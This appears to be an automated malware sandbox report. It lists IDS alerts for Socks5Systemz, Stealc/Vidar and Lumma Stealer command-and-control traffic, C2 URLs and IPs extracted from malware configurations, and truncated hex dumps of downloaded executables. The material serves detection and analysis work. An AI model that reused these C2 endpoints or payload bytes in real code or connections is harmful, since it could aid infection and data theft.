Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49821 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49821 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49818 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49818 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49828 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49829 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49828 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49829 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49830 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49830 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49819 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49819 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49832 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49832 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49827 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49809 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49827 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49831 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49831 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49809 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49822 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49822 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49834 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49834 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.126.10:80 -> 192.168.2.4:49796
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49816 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49816 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.126.10:80 -> 192.168.2.4:49835
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 147.45.126.10:80 -> 192.168.2.4:49796
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 147.45.126.10:80 -> 192.168.2.4:49835
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49817 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49817 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49766 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49766 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49762 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49768 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49762 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49768 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49771 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49771 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49764 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49780 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49780 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49764 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49779 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49779 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49790 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49790 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49791 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49791 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2018581 - Severity 1 - ET MALWARE Single char EXE direct download likely trojan (multiple families) : 192.168.2.4:49788 -> 194.163.35.141:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: stamppreewntnq.shop
Source: Malware configuration extractor	URLs: evoliutwoqm.shop
Source: Malware configuration extractor	URLs: locatedblsoqp.shop
Source: Malware configuration extractor	URLs: condedqpwqm.shop
Source: Malware configuration extractor	URLs: caffegclasiqwp.shop
Source: Malware configuration extractor	URLs: traineiwnqo.shop
Source: Malware configuration extractor	URLs: stagedchheiqwo.shop
Source: Malware configuration extractor	URLs: millyscroqwp.shop
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199768374681
Source: Malware configuration extractor	URLs: https://t.me/edm0d
Source: Malware configuration extractor	URLs: https://t.me/fneogr
Source: Malware configuration extractor	URLs: 147.45.47.36:30035

Source: unknown

Network traffic detected: IP country count 10

Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 77.105.164.24:50505
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 147.45.47.36:30035

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Fri, 06 Sep 2024 06:17:05 GMTContent-Type: application/octet-streamContent-Length: 301608Last-Modified: Thu, 05 Sep 2024 22:53:24 GMTConnection: keep-aliveETag: "66da3664-49a28"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e9 35 da 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 68 04 00 00 0a 00 00 00 00 00 00 de 86 04 00 00 20 00 00 00 a0 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 04 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 90 86 04 00 4b 00 00 00 00 a0 04 00 14 06 00 00 00 00 00 00 00 00 00 00 00 74 04 00 28 26 00 00 00 c0 04 00 0c 00 00 00 4c 86 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 66 04 00 00 20 00 00 00 68 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 14 06 00 00 00 a0 04 00 00 08 00 00 00 6a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 04 00 00 02 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 86 04 00 00 00 00 00 48 00 00 00 02 00 05 00 28 26 00 00 88 17 00 00 03 00 02 00 0b 00 00 06 b0 3d 00 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 5d 00 00 00 01 00 00 11 2b 05 28 61 47 0b 30 7e 01 00 00 04 3a 4b 00 00 00 17 80 01 00 00 04 28 10 00 00 0a 20 e8 07 00 00 20 09 00 00 00 20 06 00 00 00 73 11 00 00 0a 28 12 00 00 0a fe 0e 00 00 fe 0d 00 00 28 13 00 00 0a 28 14 00 00 0a 20 0e 00 00 00 3f 0b 00 00 00 72 01 00 00 70 73 15 00 00 0a 7a 2a 00 00 00 36 2b 05 28 fd 88 56 62 28 01 00 00 06 2a 00 00 4e 2b 05 28 9b f4 78 44 28 15 00 00 06 02 28 16 00 00 0a 2a fa 2b 05 28 8a ae 02 32 28 15 00 00 06 1f 10 8d 1c 00 00 01 25 d0 06 00 00 04 28 17 00 00 0a 80 02 00 00 04 20 00 24 04 00 8d 1c 00 00 01 25 d0 07 00 00 04 28 17 00 00 0a 80 03 00 00 04 2a 00 6a 2b 05 28 90 b9 28 67 28 15 00 00 06 02 28 16 00 00 0a 02 03 28 06 00 00 06 2a 00 13 30 03 00 34 00 00 00 02 00 00 11 2b 05 28 fe 13 02 68 03 0b 16 0c 38 12 00 00 00 07 08 6f 18 00 00 0a 0a 06 28 19 00 00 0a 08 17 58 0c 08 07 6f 1a 00 00 0a 3f e2 ff ff ff 28 1b 00 00 0a 2a 13 30 06 00 4b 02 00 00 03 00 00 11 20 00 01 00 00 8d 1c 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Fri, 06 Sep 2024 06:17:05 GMTContent-Type: application/octet-streamContent-Length: 222248Last-Modified: Thu, 05 Sep 2024 22:29:59 GMTConnection: keep-aliveETag: "66da30e7-36428"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1b 30 da 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 32 03 00 00 0a 00 00 00 00 00 00 de 50 03 00 00 20 00 00 00 60 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 03 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 90 50 03 00 4b 00 00 00 00 60 03 00 14 06 00 00 00 00 00 00 00 00 00 00 00 3e 03 00 28 26 00 00 00 80 03 00 0c 00 00 00 4c 50 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 30 03 00 00 20 00 00 00 32 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 14 06 00 00 00 60 03 00 00 08 00 00 00 34 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 03 00 00 02 00 00 00 3c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 50 03 00 00 00 00 00 48 00 00 00 02 00 05 00 28 26 00 00 88 17 00 00 03 00 02 00 0b 00 00 06 b0 3d 00 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 5d 00 00 00 01 00 00 11 2b 05 28 f2 da 50 5d 7e 01 00 00 04 3a 4b 00 00 00 17 80 01 00 00 04 28 10 00 00 0a 20 e8 07 00 00 20 09 00 00 00 20 06 00 00 00 73 11 00 00 0a 28 12 00 00 0a fe 0e 00 00 fe 0d 00 00 28 13 00 00 0a 28 14 00 00 0a 20 0e 00 00 00 3f 0b 00 00 00 72 01 00 00 70 73 15 00 00 0a 7a 2a 00 00 00 36 2b 05 28 33 ce 0d 33 28 01 00 00 06 2a 00 00 4e 2b 05 28 cc 69 23 52 28 15 00 00 06 02 28 16 00 00 0a 2a fa 2b 05 28 9d e2 03 67 28 15 00 00 06 1f 10 8d 1c 00 00 01 25 d0 06 00 00 04 28 17 00 00 0a 80 02 00 00 04 20 00 ee 02 00 8d 1c 00 00 01 25 d0 07 00 00 04 28 17 00 00 0a 80 03 00 00 04 2a 00 6a 2b 05 28 e4 46 37 53 28 15 00 00 06 02 28 16 00 00 0a 02 03 28 06 00 00 06 2a 00 13 30 03 00 34 00 00 00 02 00 00 11 2b 05 28 14 01 42 59 03 0b 16 0c 38 12 00 00 00 07 08 6f 18 00 00 0a 0a 06 28 19 00 00 0a 08 17 58 0c 08 07 6f 1a 00 00 0a 3f e2 ff ff ff 28 1b 00 00 0a 2a 13 30 06 00 4b 02 00 00 03 00 00 11 20 00 01 00 00 8d 1c 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 06 Sep 2024 06:17:05 GMTContent-Type: application/octet-streamContent-Length: 1792000Last-Modified: Fri, 06 Sep 2024 04:31:27 GMTConnection: keep-aliveETag: "66da859f-1b5800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4d 8b c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 00 50 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 68 00 00 04 00 00 a8 0b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 f0 23 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 23 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 23 00 00 10 00 00 00 3c 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 23 00 00 00 00 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 23 00 00 02 00 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 00 24 00 00 02 00 00 00 4e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 78 6f 6a 68 6d 6a 6b 00 f0 19 00 00 50 4e 00 00 e2 19 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 64 6f 6f 70 61 79 74 00 10 00 00 00 40 68 00 00 04 00 00 00 32 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 68 00 00 22 00 00 00 36 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 06 Sep 2024 06:17:05 GMTContent-Type: application/octet-streamContent-Length: 10902016Last-Modified: Thu, 22 Aug 2024 08:54:11 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66c6fcb3-a65a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 30 fc c6 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 82 00 00 00 06 cd 00 00 00 00 00 6f 09 82 01 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 99 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f8 ef 81 01 3c 00 00 00 00 80 96 01 d0 04 03 00 40 53 96 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 0e 81 01 28 00 00 00 00 52 96 01 38 01 00 00 00 00 00 00 00 00 00 00 00 20 f3 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f6 80 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 20 1f 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 e8 c9 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 80 01 00 00 00 b0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 c0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 d0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 30 00 00 c6 3a 28 00 00 e0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 31 00 00 58 00 00 00 00 20 f3 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 32 00 00 a0 4d a3 00 00 30 f3 00 00 4e a3 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 d0 04 03 00 00 80 96 01 00 06 03 00 00 54 a3 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Fri, 06 Sep 2024 06:17:05 GMTContent-Type: application/octet-streamContent-Length: 3443448Connection: keep-aliveContent-Description: File TransferContent-Disposition: attachment; filename=install.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 d8 78 35 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 a0 6b 34 00 58 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 00 00 94 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 4c 02 00 00 00 b0 00 00 00 04 00 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 88 0e 00 00 00 c0 00 00 00 00 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 